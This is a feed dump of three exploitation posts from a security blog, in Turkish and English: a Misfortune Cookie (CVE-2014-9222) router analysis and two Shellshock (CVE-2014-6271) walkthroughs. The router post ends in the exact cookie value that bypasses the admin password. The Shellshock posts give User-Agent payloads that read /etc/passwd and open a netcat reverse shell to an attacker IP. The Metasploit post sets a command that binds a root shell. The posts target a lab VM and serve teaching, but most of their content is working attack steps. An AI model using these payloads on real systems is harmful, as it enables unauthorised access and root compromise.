hack arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:50:39 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png hack arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Misfortune Cookie (CVE-2014-9222) Analizi https://canyoupwn.me/tr-misfortune-cookie-cve-2014-9222-analizi/ https://canyoupwn.me/tr-misfortune-cookie-cve-2014-9222-analizi/#respond Sat, 26 Mar 2016 07:30:37 +0000 https://canyoupwn.me/?p=1236 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazımızda sizlerle etki alanı oldukça geniş olan ve yüksek risk içeren bir zafiyeti inceleyeceğiz. Misfortune Cookie olarak adlandırılan zafiyet routerlarda web arayüzü sunmak için kullanılan Allegro Rompager adlı gömülü web server uygulamasında bulunuyor. Bu yazılımın birçok marka/model routerda kullanılması zafiyetin etki alanını bir hayli genişletiyor. Zafiyet aracılığıyla saldıgan herhangi bir şifreye ihtiyaç duymadan router’ın […]

TR | Misfortune Cookie (CVE-2014-9222) Analizi CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

cm

Bu yazımızda sizlerle etki alanı oldukça geniş olan ve yüksek risk içeren bir zafiyeti inceleyeceğiz. Misfortune Cookie olarak adlandırılan zafiyet routerlarda web arayüzü sunmak için kullanılan Allegro Rompager adlı gömülü web server uygulamasında bulunuyor. Bu yazılımın birçok marka/model routerda kullanılması zafiyetin etki alanını bir hayli genişletiyor. Zafiyet aracılığıyla saldıgan herhangi bir şifreye ihtiyaç duymadan router’ın web kontrol paneline erişim sağlayabiliyor. Bu da zafiyeti oldukça riskli bir hale getiriyor. Hadi incelemeye başlayalım.

NOT: Yazıda kullanılan kod parçaları ve görseller alıntıdır.

 

0x00: Zafiyet Tespiti

Zafiyetimizin istismar vektörü, adından da anlaşılacağı gibi, cookie verisi. Gelin önce sunucuya gönderilen cookie değerine bir bakalım.

req

Gönderilen cookie’nin formatı “CX=value” şeklinde. Bunun sebebini web server’ın cookie’yi parse eden kısmına bakınca daha iyi anlıyoruz.

ROM:8010E5B0 loc_8010E5B0:                            # CODE XREF: sub_8010E574+EC j
 ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
 ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
 ROM:8010E5B8                 li      $a1, 0x3D
 ROM:8010E5BC                 addiu   $s0, 1
 ROM:8010E5C0                 move    $a0, $s0       
 ROM:8010E5C4                 jal     sub_8016C340
 ROM:8010E5C8                 nop
 ROM:8010E5CC                 move    $a0, $s0       
 ROM:8010E5D0                 move    $s1, $v0       
 ROM:8010E5D4                 addiu   $s1, 1
 ROM:8010E5D8                 jal     sub_801F2E74
 ROM:8010E5DC                 sb      $zero, -1($s1) 
 ROM:8010E5E0                 move    $a0, $s1       
 ROM:8010E5E4                 jal     sub_8016CA24
 ROM:8010E5E8                 move    $s3, $v0       
 ROM:8010E5EC                 li      $a2, 0x28
 ROM:8010E5F0                 mul     $t2, $s3, $a2   
 ROM:8010E5F4                 move    $a1, $s1       
 ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28
 ROM:8010E5FC                 move    $s0, $v0
 ROM:8010E600                 addu    $at, $s1, $s0   
 ROM:8010E604                 addu    $a0, $t5, $t2   
 ROM:8010E608                 jal     sub_8016A784
 ROM:8010E60C                 sb      $zero, 0($at)
 ROM:8010E610                 j       loc_8010E644   
 ROM:8010E614                 addu    $s0, $s1, $s0
 ROM:8010E618  # ---------------------------------------------------------------------------

 

Yukarıdaki MIPS Assembly kodlarını anlamakta sıkıntı çekiyorsanız (ben çektim) şu kaynaklara göz gezdirmenizi öneririm:

MIPS Quick Tutorial

MIPS Instruction Set

Burada yapılan işlemler özetle şu şekilde (“CX=value” formatını hatırlayın);

  • Ilk karakter ‘C’ ye eşitmi?
  • Evet ise => “X=value” olan kısmı al
  • ‘=’ ayracı ile string’i iki kısıma ayır (“X” ve “value”)
  • *(0x6B28 + X*0x28) = value

 

Son adım bana biyerden tanıdık geliyor..

  • *(base_addr + i*sizeof(item)) = value

Bu pattern x86 mimarisinde de sıklıkla karşılaştığım dizi elemanlarına erişme pattern’i. (bkz: x86 Asm Cheat Sheet). Buradan anlaşılacağı üzere gönderdiğimiz cookie’ler, her elemanı 40 byte olan -nitekim cookie ile gönderilen değerimiz 40 karakter- bir dizide tutuluyor. Biz sunucuya “C0=blabla” şeklinde bir cookie gönderdiğimizde aslında cookie dizisinin 0. indexine “blabla” değerini yazmış oluyoruz. Uygulama girdiyi alırken herhangi bir sınır kontrolü yapmadığı içinde write-what-where durumu oluşuyor (yani istediğimiz adrese istediğimiz değeri yazabiliyoruz).

Zafiyeti tanımladığımıza göre şimdi istismarına geçelim.

 

0x10: Exploitation

ZynOS‘in zafiyeti istismar etmemizi kolaylaştıracak bir özelliği var; pswauthen. Komut arayüzünden bu komutu ‘0’ argümanıyla birlikte girdiğiniz takdirde geçici bir süre için web arayüzüne şifresiz erişim sağlayabiliyorsunuz. Komutun yaptığı şey ise belli bir adresteki flag değerini sıfıra eşitlemek. Daha sonradan Rompager bu adresteki değere bakıp 0’ı gördüğünde kullanıcıya şifresiz erişim sağlıyor. Bu da demek oluyor ki elimizdeki zafiyeti kullanarak bu adresin içerisini sıfırlayıp modem arayüzüne şifresiz şekilde erişebiliriz! Tek yapmamız gereken flag adresi ile dizinin adresi arasındaki farkı bulup 40’a bölmek ve bunu uygun cookie formatında yazıp request halinde sunucuya göndermek.

  • 0x8034FF94 – 0x804163D4 = 0xFFF39BC0
  • 0xFFF39BC0 / 0x28 = 0x0666171
  • 0x06661718 = 107353880 (indis karşılığı)

Göndermemiz gereken cookie değeri: “C107353880=\0”

Cookie değeri null-byte içereceğinden request’i netcat ile göndermeniz gerekir.

aaasss

Böylece zafiyetimizi istismar etmiş olduk.

Bu zafiyeti kullanan bir malware salgını hakkında yazdığım raporu buradan okuyabilirsiniz.

 

Kaynakça:
  1. http://mis.fortunecook.ie/
  2. http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf
  3. http://cawanblog.blogspot.com.tr/2015/02/misfortune-cookie-cve-2014-9222.html

TR | Misfortune Cookie (CVE-2014-9222) Analizi CanYouPwnMe

]]>
https://canyoupwn.me/tr-misfortune-cookie-cve-2014-9222-analizi/feed/ 0
TR | ShellShock (CVE-2014-6271) https://canyoupwn.me/tr-cve-2014-6271-shellshock/ https://canyoupwn.me/tr-cve-2014-6271-shellshock/#respond Sun, 07 Feb 2016 19:55:50 +0000 http://canyoupwn.me/?p=410 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar. Bu yazımızda CVE-2014-6271 kodlu Shellshock zaafiyeti için oluşturulan sanal makineden reverse shell alarak root yetkisi kazanmaya çalışacağız. Öncelikle iso kalıbına buraya tıklayarak ulaşabilirsiniz. İso kalıbını indirip herhangi bir sanallaştırma platformuna kurduğunuzu varsayarak devam ediyorum. İso kalıbını kurduktan sonra sizi karşılayan ekrana ‘ifconfig’ yazarak IP adresini alabilirsiniz. Verdiği IP adresini saldırmak için kullanacağınız makinede browsera […]

TR | ShellShock (CVE-2014-6271) CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar. Bu yazımızda CVE-2014-6271 kodlu Shellshock zaafiyeti için oluşturulan sanal makineden reverse shell alarak root yetkisi kazanmaya çalışacağız.

Öncelikle iso kalıbına buraya tıklayarak ulaşabilirsiniz.

İso kalıbını indirip herhangi bir sanallaştırma platformuna kurduğunuzu varsayarak devam ediyorum. İso kalıbını kurduktan sonra sizi karşılayan ekrana ‘ifconfig’ yazarak IP adresini alabilirsiniz. Verdiği IP adresini saldırmak için kullanacağınız makinede browsera yazıp girdiğinizde sizi aşağıdaki gibi bir ekran karşılıyor olacaktır.

2

Bu ekranı gördükten sonra hiçbir şey bilmeyen bir saldırganmışcasına ilk olarak CTRL + U ile sayfa kaynağını görüntülüyoruz ve orada aşağıdaki kod betiği dikkatimizi çekiyor.

3

Yukarıdaki CGI scripti sistem komutlarını çalıştırıp onları web sayfasında göstermeye yarıyor. Yani burada Shellshock zaafiyeti için hazır bir durum var.

BurpSuite programımızı açıyoruz.

‘Proxy’ sekmesinden ‘Intercept is on’ durumda olduğunu kontrol edip tekrar sayfamıza giriyoruz. Ardından sağ click yaparak ‘Send to Repeater’ diyoruz.

Biz burada HTTP isteklerini kullanarak saldırıyı gerçekleştirip ‘reverse shell’ almaya çalışacağız. Bunun için de ‘User Agent’ isimli HTTP Parametresini kullanacağız.

Bunun için daha önce ‘Repeater’ kısmında gönderdiğimiz isteğimizi görmek için, BurpSuite de üst kısımdan ‘Repeater’ sekmesini seçiyoruz ve isteğimiz karşımıza çıkıyor.

Ardından ‘User Agent’ kısmına:

 () { :; }; /bin/bash -c 'ping -c 3 172.168.2.1; id; cat /etc/passwd' 

kodunu ekliyoruz ve ‘Repeater’ kısmında bulunan ‘Go’ butonuna basarak etc/passwd dosyasını okumaya çalışıyoruz. Ve gelen değerlerde /etc/passwd dosyasını başarıyla okuduğumuzu görüyoruz.

4

Ardından, /etc/shadow v.s gibi dosyaları deneyip okuduktan sonra zaafiyeti tam olarak kullanabileceğimizi anlıyoruz. Bu durumda daha da ileri gidebilmek için içeriden bir erişim kazanma maksadıyla ‘reverse shell’ almaya çalışıyoruz. Bunun için, şu kodu yine ‘User-Agent’ kısmında kullanmamız gerekiyor.

() { :; }; /bin/bash -c 'nc IPADRESINIZ PORT -e /bin/sh'

Ardından, kullanacağımız portu da netcat ile dinlemeye almak için,

nc -lvp PORT

komutunu kullanmamız gerekiyor. Zaten ‘reverse shell’ almak için kullandığımız kodu detaylı incelerseniz nc komutu ile netcati aktifleştirdiğimizi görebilirsiniz.

‘Reverse shell’ kodumuzu ‘User-Agent’ parametresine eklemeden önce, yukaradaki ‘netcat’ komutu ile gerekli portu dinlemeye alıyoruz, ardından ‘Repeater’ sekmesindeki ‘Go’ butonuna ekrar basıp ‘reverse shell’imizi makineden alıyor ve içeriye erişim sağlıyoruz.

5

 

Başarılı bir biçimde bağlantıyı sağladıktan sonra,

sudo -s

komutuyla root olmaya çalıştığımızda şifre istemeden direkt olarak ‘root’ yetkilerini kazandık. Artık sistemde istediğimiz gibi at koşturabiliriz.

6

 

Yazımız burada sona eriyor, kafanıza takılan bir sorunuz olursa profilde bulunan iletişim adreslerinden bana ulaşabilirsiniz.

İyi shocklamalar!

TR | ShellShock (CVE-2014-6271) CanYouPwnMe

]]>
https://canyoupwn.me/tr-cve-2014-6271-shellshock/feed/ 0
EN | How to Hack the Shellshock Vulnerability with Metasploit Framework https://canyoupwn.me/en-how-to-hack-the-shellshock-vulnerability-with-metasploit-framework/ https://canyoupwn.me/en-how-to-hack-the-shellshock-vulnerability-with-metasploit-framework/#respond Thu, 04 Feb 2016 00:48:16 +0000 http://canyoupwn.me/?p=301 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

What is Shellshock?  Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash […]

EN | How to Hack the Shellshock Vulnerability with Metasploit Framework Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

What is Shellshock? 

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

How to use?

  • Start the Metasploit Framework;
msfconsole
  • Search exploit;
search shellshock
  • Run the exploit;
use auxiliary/server/dhclient/dhclient_bash_env
  • We need these parameters “CMD” , “SRVHOST” VE “NETMASK”;
info
  • To view options;
show options
  • Set the DHCP server IP. This is the SRVHOST parameter;
set SVRHOST 192.168.131.61
  • Set the CMD;
set CMD /bin/nc -l -p6996 -e /bin/sh
  •  Set the NETMASK;
set NETMASK 255.255.255.0
  • Run the module;
exploit
  • Connect to the Exploited System;
c::\nc 192.168.131.61 6996
  • Returns the network settings of the exploited Linux system;
ifconfig
  • Confirm the privilage;
    whoami

 

EN | How to Hack the Shellshock Vulnerability with Metasploit Framework Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/en-how-to-hack-the-shellshock-vulnerability-with-metasploit-framework/feed/ 0